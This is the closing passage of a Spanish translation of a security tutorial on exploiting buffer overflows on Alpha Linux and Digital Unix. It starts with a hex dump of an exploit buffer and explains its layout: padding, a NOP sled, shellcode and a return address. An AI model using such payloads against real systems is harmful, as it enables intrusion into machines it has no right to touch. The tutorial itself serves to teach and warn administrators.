5 B....0..C1 976 15 d8 43 12 04 ff 47 40 ff 1e b6 48 ff fe b7 98 ..C...G@...H.... 992 ff 7f 26 d0 8c 73 22 13 05 f3 47 3c ff 7e b2 69 ..&..s"...G(.~.i 1008 6e 7f 26 2f 62 73 22 38 ff 7e b2 13 94 e7 43 20 n.&/bs"8.~....C 1024 35 60 42 ff ff ff ff 30 f5 ff 1f 01 5....0.... 0 ~ 2 Los datos rellenados (padding data). Esto es para la alineacion. Los caracteres rellenados (padding data) 0, 1, 2 o 3 son necesarios para alinear las instruccions. 3 ~ 914 instrucciones nop. 915 ~ 1030 shellcode. 1031 ~ 1038 direccion de retorno. 0x000000001ffff530 ( "\x30\xf5\xff\x1f\x01\x00\x00\x00" ) No te preocupes por los tres ultimos caracteres '\0'. En casi todos los casos los 3 ultimos caracteres son '\0'. ---------------------------------------------------------------------------- 9. Exploit de buffer overflow en digital unix El codigo del exploit esta en este manual y funciona bien en digital unix, tambien. 10. Sumario Este manual explica la tecnica de aprovechamiento de un buffer overflow en alpha linux. Hay muchos administradores que no se preocupan por el buf del buffer overflow porque ellos (o ellas) administran linux no x86 sino alpha. Ademas, alguna gente piensa que los exploits de buffer overflow son imposibles en alpha linux. Aunque, son posibles. NO CREAS QUE UN EXPLOIT DE BUFFER OVERFLOW ES IMPOSIBLE EN ALPHA. 11. Referencias Alpha Architecture Handbook http://ftp.digital.com/pub/Digital/info/semiconductor/literature/alphaahb.pdf 12. Etc Perdona por mi mal ingles. :( /* y por mi mala traduccion al castellano */ /* heh */ Escrito por Taeho Oh ( ohhara@postech.edu ) ---------------------------------------------------------------------------- Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug ---------------------------------------------------------------------------- ------------------------------------------ Special thanks to all of PLUS members. ^_^ ------------------------------------------ ----------------------------- Special thanks to awkn. ^_^ ----------------------------- ------------------------------------------------------------------------------- /* finished translation Wed Dec 6 16:31:16 CET 2000 */